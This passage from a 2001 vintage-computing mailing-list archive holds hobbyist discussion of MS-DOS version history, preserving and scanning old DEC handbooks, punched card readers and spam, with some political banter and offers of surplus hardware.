http://www.guardian.co.uk/uk_news/story/0,3604,402222,00.htmlhttp://reveille .stumedia.lsu.edu/archives/november-2000/11-7-00/viewpoints/Richard.html -----Original Message----- From: Sellam Ismail [mailto:foo@siconic.com] Sent: Friday, June 22, 2001 9:48 AM To: classiccmp@classiccmp.org Subject: Re: preserving / ressurecting old docs? I completely recommend AGAINST destroying the original. Not only is it in some cases a historical artifact on its own, if the digital copy were ever to be lost then you're SOL. Sellam Ismail Vintage Computer Festival ---------------------------------------------------------------------------- -- International Man of Intrigue and Danger http://www.vintage.org From cisin at xenosoft.com Fri Jun 22 11:39:43 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:43 2005 Subject: MS-DOS version (was: What's best to do?? classically speaking In-Reply-To: <002101c0fb26$e5fd84e0$9cc762d8@idcomm.com> Message-ID: On Fri, 22 Jun 2001, Richard Erlacher wrote: > Yes, Compaq was the source of v3.31. That was, as you point out, an early > "large"-disk-volume-capable version. I swiped a version from one of the > Compaq's with which I had frequent contact, and happily used it with ESDI drives > for years. NO, Compaq was NOT "the source of v3.31". They were one of many. ALL OEMs were offered 3.31. Many did not want to pay the asking price. Compaq and Zenith were the most notable ones who did. There are minor differences in MODE.COM, IO.SYS, FORMAT.COM, and a few other files from one OEM's version to the next. 1.25?, 2.11, and 3.31 are the OEM versions that were most commonly customized, with changes such as support for 720K 5.25", 720K 3.5" (same, but a few messages altered), internal/external video, ... Whenever using 1.25, 2.11, or 3.31, ALWAYS keep track, AND IDENTIFY, which OEM it was. The customizations were different from one OEM to the next. Prior to 5.00, MS-DOS was, IN THEORY, available only from OEMs. Yes, there was such a giant gray market that nobody noticed the restriction. There appears to have been a 10 year non-competition contract between MICROS~1 and IBM, wherein MICROS~1 could sell to OEMs, but could not sell DOS as a retail product. 5.00 was the first version where DOS was available legitimately as a retail product. It was "NEW and IMPROVED!" The "NEW and IMPROVED" consisted mostly of bug fixes to 4.00, plus availability from MICROS~1. NOTE: 5.00 has met the 10 year rule for over a month now. Windoze 3.10 has 2 more months to go, even for BETA. OB_OT: NOT COUNTING bundling of additonal [third party] programs, who can name what the differences are between 5.00 and 6.00? -- Grumpy Ol' Fred cisin@xenosoft.com From healyzh at aracnet.com Fri Jun 22 11:42:09 2001 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 19:04:43 2005 Subject: preserving / ressurecting old docs? In-Reply-To: References: <20010622133137.62013.qmail@web9507.mail.yahoo.com> Message-ID: >> Talk to Doug Jones. He recommends dismantling the book carefully >> for the best quality copies/scans. The idea here is that the >> information in its copied format is more valuable than the slivers >> of dead trees that it currently resides on. Yes, books are a >> valuable resource, but these are not unique books - they are >> reference works that were published by the thousands. Once in >> digital form, they are trivial to disseminate in a way that >> is impossible for the originals. > >I completely recommend AGAINST destroying the original. Not only is it in >some cases a historical artifact on its own, if the digital copy were ever >to be lost then you're SOL. In the case of the older DEC handbooks it's only a matter of time before the completely disentigrate anyway. They were published on the worst quality paper imaginable. Your best bet is to take the books and have the binding cut off professionally. Then scan in the pages one at a time (not two). I personally believe Adobe Acrobat is the best way of doing this. Although I realize there are people here that are against Adobe Acrobat. BTW, I'm the type person that considers damaging a book a Capital Offense! When I read a book I don't even crease the spine. Yet, in cases like this I still think this is the right thing to do. Zane -- | Zane H. Healy | UNIX Systems Administrator | | healyzh@aracnet.com (primary) | OpenVMS Enthusiast | | | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From bdc at world.std.com Fri Jun 22 11:50:09 2001 From: bdc at world.std.com (Brian Chase) Date: Sun Feb 27 19:04:43 2005 Subject: preserving / ressurecting old docs? In-Reply-To: Message-ID: On Fri, 22 Jun 2001, Sellam Ismail wrote: > I completely recommend AGAINST destroying the original. Not only is it in > some cases a historical artifact on its own, if the digital copy were ever > to be lost then you're SOL. I'm against the idea of destroying the original as well, but I think your point about losing the digital copy is pretty silly. It's digital... just make lots of copies and spread them around. I'd say it's a lot more dangerous to only have the original. -brian. From jim at calico.litterbox.com Fri Jun 22 11:57:11 2001 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 19:04:43 2005 Subject: OCR for punchcards? Message-ID: <200106221657.KAA28243@calico.litterbox.com> It just occurred to me that it should be possible to write OCR software to read punchcards on your scanner. Not that I have any punchcards mind you, more of an intellectual exercise, but has anyone written such a thing? Also, if you're desperate for a punchcard reader I suspect you could make an acceptable one with Lego Mindstorms. You'd have to use one of the popular input multiplexing schemes, and probably program it in nqc or legos, but it should be possible. Using the RCX's motor controllers and a couple motors and tires you should even be able to make it automatic feed. In fact, come to think of it, you SHOULD be able to build the thing with... lessee. two motors, a couple tires, and the light sensor. 'course your software on the RCX would have to translate awhat amounts to the scan of a card into data, but if the sensor is precise enough to tell holes from chads, I can think of a couple ways to do this. -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From jim at calico.litterbox.com Fri Jun 22 12:06:08 2001 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 19:04:43 2005 Subject: MS-DOS version (was: What's best to do?? classically speaking In-Reply-To: from "Fred Cisin (XenoSoft)" at Jun 22, 2001 09:39:43 AM Message-ID: <200106221706.LAA28345@calico.litterbox.com> > Prior to 5.00, MS-DOS was, IN THEORY, available only from OEMs. Yes, > there was such a giant gray market that nobody noticed the restriction. > There appears to have been a 10 year non-competition contract between > MICROS~1 and IBM, wherein MICROS~1 could sell to OEMs, but could not sell > DOS as a retail product. 5.00 was the first version where DOS was > available legitimately as a retail product. It was "NEW and IMPROVED!" > The "NEW and IMPROVED" consisted mostly of bug fixes to 4.00, plus > availability from MICROS~1. > > NOTE: 5.00 has met the 10 year rule for over a month now. Windoze 3.10 > has 2 more months to go, even for BETA. Ah yes, DOS 5.0. The last time I felt I got my money's worth from a Microsoft product. It was SO cool when you were used to whatever 3.3 copies you'd pilfered from wherever. Win95 came close to this only when fresh out of the box installed with all protected mode drivers. It was all downhill from there. I bought DOS 5.0 from one of the campus computing organizations at my grad school. It was expensive, if memory serves. But worth it. --- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From edick at idcomm.com Fri Jun 22 12:07:04 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:43 2005 Subject: Wave of the Future (Spam) References: Message-ID: <001f01c0fb3d$c2f225c0$9cc762d8@idcomm.com> SPAM, aside from its unfortunate status as completely unpaid advertising, is not a terrible thing. What's terrible about it is that when the time comes that internet traffic has to be paid for on a bit-by-bit basis so that the badwidth is paid-for, it is likely that the recipients will have to pay, rather than the senders. For that reason, we should all be making a lot of noise to ensure that it's the senders and not the recipients that have to pay for mail. Mail is the vehicle that SPAM uses, newsgroups excepted, and since newsgroup managers can afford (only because of the costs to them for bandwidth) to trace the SPAM back to its source and reject it before forwarding it, it won't be as big a problem there. Mail should, therefore, be traceable back to its originator, and all methods of spoofing the sender's IP address should be defeated in some way. This means MAJOR work on the protocol layers from the IP/ICMP layer upward, and that may not happen for a while. It's MUCH easier to charge the recipient for mail delivery, and while that's BACKWARD from the logic, the organizations that cooked up most of the internet procedural arsenal have always chosen easy/adequate over difficult in any form, even when .0001% of additional effort/complexity would have added 10000x more functionality/reliability. This is what happens when a committee does things, and that's what runs the internet. This thing won't be fixed unless some lone individual, incredibly bright, imaginative, and altruistic, but otherwise underutilized, does it. Dick ----- Original Message ----- From: "Sellam Ismail" To: Sent: Friday, June 22, 2001 8:42 AM Subject: Re: Wave of the Future (Spam) > On Fri, 22 Jun 2001, Mike Ford wrote: > > > >> One of my friends is a spammer, and what he does is setup a whole new > > >> "persona" for each email blitz. Cost of doing business as far as he is > > >> concerned. > > > > > >Can I have your friend's home address? > > > > He is a 6'8" 260 lb merchant marine, do you REALLY want to knock on his > > door and explain what a naughty spammer he is? > > One good kick to the nuts is all it takes. > > Sure, send the address on over :) > > Sellam Ismail Vintage Computer Festival > ------------------------------------------------------------------------------ > International Man of Intrigue and Danger http://www.vintage.org > > From cisin at xenosoft.com Fri Jun 22 12:09:07 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:43 2005 Subject: converting disc format In-Reply-To: <200106221012.f5MAC4F22899@mailgate3.cinetic.de> Message-ID: > I have the following problem. I want to open lif-files (created by my hp 3360 analysator) on my pc operating with Linux and WinNT, but this is impossible, it doesen´t work.I have no idea how to handle it.I´m looking for any information, documentations and codes/programmes refering to this problem which may help me. > Is it possible to solve my problem with RMB? > Please, would you be so kind (only if possible) and give me some advice, where I can get these information/how to handle ist? Oswego Software Systems made some programs for reading HPO LIF in a PC -- Fred Cisin cisin@xenosoft.com XenoSoft http://www.xenosoft.com PO Box 1236 (510) 558-9366 Berkeley, CA 94701-1236 From cisin at xenosoft.com Fri Jun 22 12:18:34 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:43 2005 Subject: preserving / ressurecting old docs? In-Reply-To: <002901c0fb0a$e5eaf800$0c01a8c0@michaelnadeau> Message-ID: > Some of the pages are starting to come unglued, and I'd like to > avoid destroying the book while archiving it. Any suggestions on > what to use to re-glue the pages, or rebinding, etc? I've got > quite a pile of these handbooks and will be doing the same (scanning) > to them, but this is definitely the oldest / most fragile handbook > in the collection. The method (hot-glue) that is used for binding paperback books and phonebooks is called "Perfect binding". I am currently trying to sell an Armarco perfect binding machine. It is fairly easy to use, but requires a fair amount of practice before you get good results. I want at least $100 (I paid $800 used 10 years ago, and never actively used it). You would have to make all arrangements for shipping; I don't even want to THINK about shipping it. It is about 4' long by a foot deep, by a foot and a half high. Alternatively, the largest of your local libraries could tell you which local printing and binding shop they use for book repairs. -- Fred Cisin cisin@xenosoft.com XenoSoft http://www.xenosoft.com PO Box 1236 (510) 558-9366 Berkeley, CA 94701-1236 From jhellige at earthlink.net Fri Jun 22 12:21:25 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:43 2005 Subject: Punched card readers Message-ID: <01Jun22.132206edt.119117@gateway.mediacen.navy.mil> >>>Does anyone know where to find a punched card reader >>>these days? I'm looking for a small desktop unit that >>>I could interface to a PC. >> >> I know that Harris sold a very small table top unit that was >>used by the US Navy with the Harris SNAP-II mini. You might be able >>to find one someplace that deals with government surplus. > >Yes, but wasn't that a single card at a time, and hand fed? Or was there >another model? Yes, it was only single-feed, through a slot in the front of the box. I mentioned it though because he didn't specify a specific type and figured he might be able to find one with a little checking. Afterall, there are still ships using the Harris mini's as far as I know. I've not heard that Snap-II had been totally phased out of use yet. Jeff From edick at idcomm.com Fri Jun 22 12:19:58 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:43 2005 Subject: Wave of the Future (Spam) References: <200106221637.JAA08962@stockholm.ptloma.edu> Message-ID: <004101c0fb3f$901858c0$9cc762d8@idcomm.com> I've (until recently) always held onto the Republican banner. The current administration, and the pres' daddy embarrass me so much that I'm in the same species, let alone political party, with them, that I've dropped my name from the Republican roles. In the last election, I voted for the (yechhh!) Democratic opponent, in spite of the fact he invented the internet. I worked on some promotional material for the Libertarian party and did that only long enough to learn that, while the aggregate of their collective opinions seem to be quite rational and sane, no one leader or individual I ever met seems to hold those beliefs, preferring, apparently, to belong to the "lunatic fringe" which seems to find a welcoming home in that and a few other parties. What typifies their beliefs, at least among those I met here in Colorado, is the belief that private enterprise should build bridges over and dams on rivers and charge for their use. Think about that! Dick ----- Original Message ----- From: "Cameron Kaiser" To: Sent: Friday, June 22, 2001 10:37 AM Subject: Re: Wave of the Future (Spam) > > > Ouch! And you're a troll! Nixon was a Republican. I rest my case. > > > Your point is? Remember, the Clintons are Democrats. Democrats and > > Reublicans are both alike in that they all revere one thing: political > > power at any cost, and enjoy it all the more when it's at the expense > > of their serfs^H^H^H^H^Htaxpayers. > > Okay, then, all libertarians are nuts. Who wants to top this troll? ;-) > > -- > ----------------------------- personal page: http://www.armory.com/~spectre/ -- > Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu > -- If G. B. Shaw were a surrealist, he'd be writing plays about ghoti. -------- > > From mrbill at mrbill.net Fri Jun 22 12:26:22 2001 From: mrbill at mrbill.net (Bill Bradford) Date: Sun Feb 27 19:04:43 2005 Subject: preserving / ressurecting old docs? In-Reply-To: ; from healyzh@aracnet.com on Fri, Jun 22, 2001 at 09:42:09AM -0700 References: <20010622133137.62013.qmail@web9507.mail.yahoo.com> Message-ID: <20010622122622.M9041@mrbill.net> On Fri, Jun 22, 2001 at 09:42:09AM -0700, Zane H. Healy wrote: > In the case of the older DEC handbooks it's only a matter of time before > the completely disentigrate anyway. They were published on the worst > quality paper imaginable. I'm trying to do this as non-destructively as possible. > Your best bet is to take the books and have the binding cut off > professionally. Then scan in the pages one at a time (not two). I > personally believe Adobe Acrobat is the best way of doing this. Although I > realize there are people here that are against Adobe Acrobat. I'm scanning them in as 100dpi grayscale GIFs, then I will convert to other format(s) and eventually to PDF. Scanning directly to PDF with HP's software produces horrible output with compression artifacts. Bill -- Bill Bradford mrbill@mrbill.net Austin, TX From RCini at congressfinancial.com Fri Jun 22 12:27:36 2001 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 19:04:43 2005 Subject: MS-DOS version (was: What's best to do?? classically speaking Message-ID: <497A9E0467D2D2119B760090271EB8E5879AA5@MAIL10> DOS5 == DOS6 differences: SmartDrive disk cache Boot menus "Large disk" support in FDISK Drive compression That's what I can come up with without looking. How far off am I? ========================== Richard A. Cini, Jr. Congress Financial Corporation 1133 Avenue of the Americas 30th Floor New York, NY 10036 (212) 545-4402 (212) 840-6259 (facsimile) -----Original Message----- From: Fred Cisin (XenoSoft) [mailto:cisin@xenosoft.com] Sent: Friday, June 22, 2001 12:40 PM To: classiccmp@classiccmp.org Subject: MS-DOS version (was: What's best to do?? classically speaking On Fri, 22 Jun 2001, Richard Erlacher wrote: > Yes, Compaq was the source of v3.31. That was, as you point out, an early > "large"-disk-volume-capable version. I swiped a version from one of the > Compaq's with which I had frequent contact, and happily used it with ESDI drives > for years. NO, Compaq was NOT "the source of v3.31". They were one of many. ALL OEMs were offered 3.31. Many did not want to pay the asking price. Compaq and Zenith were the most notable ones who did. There are minor differences in MODE.COM, IO.SYS, FORMAT.COM, and a few other files from one OEM's version to the next. 1.25?, 2.11, and 3.31 are the OEM versions that were most commonly customized, with changes such as support for 720K 5.25", 720K 3.5" (same, but a few messages altered), internal/external video, ... Whenever using 1.25, 2.11, or 3.31, ALWAYS keep track, AND IDENTIFY, which OEM it was. The customizations were different from one OEM to the next. Prior to 5.00, MS-DOS was, IN THEORY, available only from OEMs. Yes, there was such a giant gray market that nobody noticed the restriction. There appears to have been a 10 year non-competition contract between MICROS~1 and IBM, wherein MICROS~1 could sell to OEMs, but could not sell DOS as a retail product. 5.00 was the first version where DOS was available legitimately as a retail product. It was "NEW and IMPROVED!" The "NEW and IMPROVED" consisted mostly of bug fixes to 4.00, plus availability from MICROS~1. NOTE: 5.00 has met the 10 year rule for over a month now. Windoze 3.10 has 2 more months to go, even for BETA. OB_OT: NOT COUNTING bundling of additonal [third party] programs, who can name what the differences are between 5.00 and 6.00? -- Grumpy Ol' Fred cisin@xenosoft.com From cisin at xenosoft.com Fri Jun 22 12:30:14 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:43 2005 Subject: preserving / ressurecting old docs? In-Reply-To: <20010622133137.62013.qmail@web9507.mail.yahoo.com> Message-ID: On Fri, 22 Jun 2001, Ethan Dicks wrote: > > Any suggestions on what to use to re-glue the pages, or rebinding, etc? > > I have no idea on that one. As someone else here mentioned, perhaps > a librarian might know. I would expect the answer, however, for a > 30-year-old paperback to be unsatisfactory. If the paper has deteriorated (usually due to acids contained in it), then you are out of luck - duplicate it while you still can. If the paper is in good shape, then it can be rebound. Sometimes you need to trim a tiny bit from the edge (a usable paper shear starts at ~$400). -- Fred Cisin cisin@xenosoft.com XenoSoft http://www.xenosoft.com PO Box 1236 (510) 558-9366 Berkeley, CA 94701-1236 From foo at siconic.com Fri Jun 22 11:36:43 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:43 2005 Subject: preserving / ressurecting old docs? In-Reply-To: Message-ID: On Fri, 22 Jun 2001, Zane H. Healy wrote: > In the case of the older DEC handbooks it's only a matter of time before > the completely disentigrate anyway. They were published on the worst > quality paper imaginable. Ack. > Your best bet is to take the books and have the binding cut off > professionally. Then scan in the pages one at a time (not two). I > personally believe Adobe Acrobat is the best way of doing this. > Although I realize there are people here that are against Adobe > Acrobat. Acrobat is nice but I think it's bloated. It won't be so much an issue as computers continue to get bigger/better/faster (mine is a P3 700Mhz, 128MB RAM, and handles them fine) but bandwidth is still a problem. > BTW, I'm the type person that considers damaging a book a Capital > Offense! When I read a book I don't even crease the spine. Yet, in > cases like this I still think this is the right thing to do. Well, we don't need everyone doing this. One or two handbooks being destroyed to make a digital archive is fine. The best thing to do is scour the net for prior work before one proceeds to shred a book for scanning. Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From foo at siconic.com Fri Jun 22 11:43:39 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:43 2005 Subject: preserving / ressurecting old docs? In-Reply-To: Message-ID: On Fri, 22 Jun 2001, Brian Chase wrote: > > I completely recommend AGAINST destroying the original. Not only is it in > > some cases a historical artifact on its own, if the digital copy were ever > > to be lost then you're SOL. > > I'm against the idea of destroying the original as well, but I think > your point about losing the digital copy is pretty silly. It's > digital... just make lots of copies and spread them around. I'd say > it's a lot more dangerous to only have the original. Brian, this has been discussed at great length before (perhaps you weren't around then). Hard copies of documents have survived thousands of years. Digital magnetic media has only been around for at most 25-30 years. We don't know what's going to happen to that data 50, 100, 500 years from now. If we're going to be preservationists or archivists, it would be wise to be as conservative as possible, and assume the worst. Digital copies, everywhere, sure. But I still prefer to hang on to the hardcopies. Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From cisin at xenosoft.com Fri Jun 22 12:46:23 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:43 2005 Subject: U.S. of Yugo (was: O/T Spark Gap Transmitters) In-Reply-To: Message-ID: > On Fri, 22 Jun 2001, McFadden, Mike wrote: > > **WARNING** > > Possible humor or not! :) > > I thought that the FCC was being outsourced to the lowest bidder and that it > > was a company in former Yugoslavia that was a large campaign contributor. On Fri, 22 Jun 2001, R. D. Davis wrote: > Are you sure? The last I heard, it was not only the FCC, but the > entire government, including local governments in the U.S.---which > happened some time ago, which, of course, explains why the government > here runs like a Yugo. Does this mean that the acquisition by Mircosoft fell through? Did Microsoft's acquisition of the Catholic church leave them too cash-poor to complete the deal? From SUPRDAVE at aol.com Fri Jun 22 12:52:40 2001 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 19:04:43 2005 Subject: MS-DOS version (was: What's best to do?? classically speaking Message-ID: <114.abed0c.2864dfe8@aol.com> large disk support?? dos has supported partitions over 32meg since at least 3.3 hasnt it? I think version 6 had Antivirus support and dos 5 was the last version you could install on a set of floppies (or at least the setup program would let you) In a message dated 6/22/01 12:37:07 PM Central Daylight Time, RCini@congressfinancial.com writes: << DOS5 == DOS6 differences: SmartDrive disk cache Boot menus "Large disk" support in FDISK Drive compression That's what I can come up with without looking. How far off am I? >> From vance at ikickass.org Fri Jun 22 12:55:45 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:04:43 2005 Subject: MS-DOS version (was: What's best to do?? classically speaking In-Reply-To: <200106221706.LAA28345@calico.litterbox.com> Message-ID: I liked PC-DOS 4.00. 8-) Peace... Sridhar On Fri, 22 Jun 2001, Jim Strickland wrote: > > Prior to 5.00, MS-DOS was, IN THEORY, available only from OEMs. Yes, > > there was such a giant gray market that nobody noticed the restriction. > > There appears to have been a 10 year non-competition contract between > > MICROS~1 and IBM, wherein MICROS~1 could sell to OEMs, but could not sell > > DOS as a retail product. 5.00 was the first version where DOS was > > available legitimately as a retail product. It was "NEW and IMPROVED!" > > The "NEW and IMPROVED" consisted mostly of bug fixes to 4.00, plus > > availability from MICROS~1. > > > > NOTE: 5.00 has met the 10 year rule for over a month now. Windoze 3.10 > > has 2 more months to go, even for BETA. > > Ah yes, DOS 5.0. The last time I felt I got my money's worth from > a Microsoft product. It was SO cool when you were used to whatever > 3.3 copies you'd pilfered from wherever. Win95 came close to this > only when fresh out of the box installed with all protected mode > drivers. It was all downhill from there. I bought DOS 5.0 > from one of the campus computing organizations at my grad school. > It was expensive, if memory serves. But worth it. > > --- > Jim Strickland > jim@DIESPAMMERSCUMcalico.litterbox.com > ----------------------------------------------------------------------- > BeOS Powered! > ----------------------------------------------------------------------- > From rickb at bensene.com Fri Jun 22 13:12:03 2001 From: rickb at bensene.com (Rick Bensene) Date: Sun Feb 27 19:04:43 2005 Subject: Punched card readers In-Reply-To: <01Jun22.132206edt.119117@gateway.mediacen.navy.mil> Message-ID: > Does anyone know where to find a punched card reader > these days? I'm looking for a small desktop unit that > I could interface to a PC. > Thinking a little more broadly might provide a larger solution set. Computers weren't the only devices that used punched cards. A good number of late '60's to early '70's-era programmable electronic calculators used punched cards for easy loading of programs into the calculator's memory. Most of these were fairly low-volume devices, but, the mechanisms might be adapted for automatic feeding. The devices were designed to be small, desktop units that could easily fit on a desktop with a calculator. Vendors that made calculators that used such technology were Compucorp/Monroe and Hewlett-Packard. The Compucorp/Monroe CR-01 card reader does have a motorized drive to run the cards through the reading station. Some minor modifications may be necessary to match logic levels and clocking schemes, but it's a good start, and may be more common than finding vintage computer punched card handlers. You can see an example of the CR-01 in the exhibit for the Monroe 1665 electronic calculator at my "Old Calculator Web Museum" at http://www.geocities.com/oldcalculators/monroe1665.html Rick Bensene The Old Calculator Web Museum From SUPRDAVE at aol.com Fri Jun 22 12:55:47 2001 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 19:04:43 2005 Subject: Fastpath 4 boxes available Message-ID: <6b.16232d7d.2864e0a3@aol.com> i still never got a decision from anyone on these. still interested? From donm at cts.com Fri Jun 22 13:18:04 2001 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 19:04:43 2005 Subject: Boom cars (ot for sure...) In-Reply-To: Message-ID: On Fri, 22 Jun 2001, Mike Ford wrote: > >> common occurance that when I start my engine when parked next to an > >> alarmed car, the alarm goes off. :-) > > > > > >Yeh, those 3/4-race cams and headers have this tendancy to do that . . . > > One of my brothers old buddies had his exhaust rigged with a pair of 3" > electric aircraft fuel valves. Switch up on the dash ran the exhaust thru a > Caddie quiet set of mufflers, down and it went out about a foot behind the > front wheels with no restriction of any kind. Not only rather loud, but > shot flame a fair distance. > Since the fuel valves were undoubtedly aluminum, I would wonder how long they lasted! - don From cisin at xenosoft.com Fri Jun 22 13:24:41 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:43 2005 Subject: MS-DOS version (was: What's best to do?? classically speaking In-Reply-To: <114.abed0c.2864dfe8@aol.com> Message-ID: On Fri, 22 Jun 2001 SUPRDAVE@aol.com wrote: > large disk support?? dos has supported partitions over 32meg since at least > 3.3 hasnt it? 3.3 (There ain't no sech animal; it is actually 3.30, three point THIRTY) was limited to 32M (due to DOS using "relative sector number", and being unable to comprehend more than 65536 sectors per drive letter. 3.31 (three point thirty one) was the version that supported larger drives. 3.3 (which is actually 3.30, three point THIRTY) was limited to 32M (due to DOS using "relative sector number", and being unable to comprehend more than 65536 sectors per drive letter. 3.31 (three point thirty one) was the version that supported larger drives. > I think version 6 had Antivirus support bundled third party program (explicitly excluded in the question) > and dos 5 was the last > version you could install on a set of floppies (or at least the setup program > would let you) a fault of the setup program (which wasn't needed. (I don't think that 5.00 had a SETUP, so that IS a major difference) DOS was quite content to be on a floppy, but the morons who wrote SETUP.EXE did it so that it could not comprehend installing ANYWHERE except drive C:! PCs and XTs (not ATs) ACTIVELY support up to 4 floppies. I wanted to install it on a machine with 4 floppies, and the hard drive was E:. MICROS~1 published an "answer": "If you want to install it on a drive other than C:, then install it on C: and then SYS the correct drive and copy it from C: to the correct drive." I did NOT want to put it on one of my floppies. Fortunately, it worked just fine to install it on another machine, and then install it wherever you wanted without using SETUP.EXE. -- Grumpy Ol' Fred cisin@xenosoft.com From RCini at congressfinancial.com Fri Jun 22 13:25:03 2001 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 19:04:43 2005 Subject: MS-DOS version (was: What's best to do?? classically speaking Message-ID: <497A9E0467D2D2119B760090271EB8E5879AA7@MAIL10> Large disk support == LBA translation (i.e., single hard disk partitions over 524mb in size). ========================== Richard A. Cini, Jr. Congress Financial Corporation 1133 Avenue of the Americas 30th Floor New York, NY 10036 (212) 545-4402 (212) 840-6259 (facsimile) -----Original Message----- From: SUPRDAVE@aol.com [mailto:SUPRDAVE@aol.com] Sent: Friday, June 22, 2001 1:53 PM To: classiccmp@classiccmp.org Subject: Re: MS-DOS version (was: What's best to do?? classically speaking large disk support?? dos has supported partitions over 32meg since at least 3.3 hasnt it? I think version 6 had Antivirus support and dos 5 was the last version you could install on a set of floppies (or at least the setup program would let you) In a message dated 6/22/01 12:37:07 PM Central Daylight Time, RCini@congressfinancial.com writes: << DOS5 == DOS6 differences: SmartDrive disk cache Boot menus "Large disk" support in FDISK Drive compression That's what I can come up with without looking. How far off am I? >> From cisin at xenosoft.com Fri Jun 22 13:30:52 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:43 2005 Subject: MS-DOS version (was: What's best to do?? classically speaking In-Reply-To: <497A9E0467D2D2119B760090271EB8E5879AA5@MAIL10> Message-ID: On Fri, 22 Jun 2001, Cini, Richard wrote: > DOS5 != DOS6 differences: > SmartDrive disk cache Doesn't count. It was a seperate product that came with Windoze 3.10 well before 6.00 (and no choice whether to use it) Smartdrive caused MAJOR problems, which the drive compression got blamed for. > Boot menus THAT was fun > "Large disk" support in FDISK IIRC, there were some changes in some of the partition types, but the 32M ended with 3.30, everything 3.31 and on permitted large drives. > Drive compression Had a few problems, but MOST of the problems that it got blamed for were actually the fault of SMARTDRV! It was a third party program (from Vertisoft after the STAC deal fell through), but there were significant mods to the OS itself to integrate it. > That's what I can come up with without looking. How far off am I? Very good. There was also SETVER that let the OS lie about its age. -- Grumpy Ol' Fred cisin@xenosoft.com From korpela at ellie.ssl.berkeley.edu Fri Jun 22 13:35:04 2001 From: korpela at ellie.ssl.berkeley.edu (Eric J. Korpela) Date: Sun Feb 27 19:04:43 2005 Subject: Fastpath 4 boxes available In-Reply-To: <6b.16232d7d.2864e0a3@aol.com> from "SUPRDAVE@aol.com" at "Jun 22, 2001 01:55:47 pm" Message-ID: <200106221835.LAA00226@ellie.ssl.berkeley.edu> > i still never got a decision from anyone on these. still interested? > I am. I sent a question about what type of hard drives you were interested in, but never got a response. Eric From cisin at xenosoft.com Fri Jun 22 13:35:49 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:43 2005 Subject: Punched card readers In-Reply-To: Message-ID: On Fri, 22 Jun 2001, Rick Bensene wrote: > > Does anyone know where to find a punched card reader > A good number of late '60's to early '70's-era programmable electronic > calculators used punched cards for easy loading of programs into the > calculator's memory. At VCF, I sold a Wang card reader. manual feed, clamshell design, not much bigger than a deck of IBM cards. But it could only read everyother column (40 columns v 80). Worked nicely with "portapunch" cards. -- Grumpy Ol' Fred cisin@xenosoft.com From mmcfadden at cmh.edu Fri Jun 22 13:43:28 2001 From: mmcfadden at cmh.edu (McFadden, Mike) Date: Sun Feb 27 19:04:43 2005 Subject: 2 DEC DEREP and 2 VS240-B in Kansas City Message-ID: I just came across at the local computer surplus a pair of DEC DEREP's. Some kind of network repeater. I also saw two VS240-B boxes. I haven't found the monitor. Anybody want me to pick them up. Mike mmcfadden@cmh.edu From dhquebbeman at theestopinalgroup.com Fri Jun 22 13:38:33 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:43 2005 Subject: OCR for punchcards? Message-ID: <7A9BACCEF0171D4FB77019F5104CDD371511E4@jeffserver.tegjeff.com> > It just occurred to me that it should be possible to write OCR software > to read punchcards on your scanner. Not that I have any punchcards > mind you, more of an intellectual exercise, but has anyone written > such a thing? Planning on it, as I think I know where there are some binary decks containing bootstraps for some old RJE stations formerly used at IU, and I'd like to preserve that software. I planned on scanning the decks and then eventually writing such a utility or findind someone who already had. > Also, if you're desperate for a punchcard reader I suspect you could > make an acceptable one with Lego Mindstorms. You'd have to use > one of the popular input multiplexing schemes, and probably program it > in nqc or legos, but it should be possible. Using the RCX's motor > controllers and a couple motors and tires you should even be able to make it > automatic feed. In fact, come to think of it, you SHOULD be able to > build the thing with... lessee. two motors, a couple tires, and the > light sensor. 'course your software on the RCX would have to translate > awhat amounts to the scan of a card into data, but if the sensor is > precise enough to tell holes from chads, I can think of a couple ways to > do this. Dr. Anthony Schaeffer built one that appeared in either BYTE or Interface Age back in the 70s using a block of wood and what looked like hairpins. You pulled the cards through manually, one at a time. -dq From mmcfadden at cmh.edu Fri Jun 22 13:45:53 2001 From: mmcfadden at cmh.edu (McFadden, Mike) Date: Sun Feb 27 19:04:43 2005 Subject: DEC RL02K-DC in Kansas City Message-ID: I just came across at the local computer surplus four 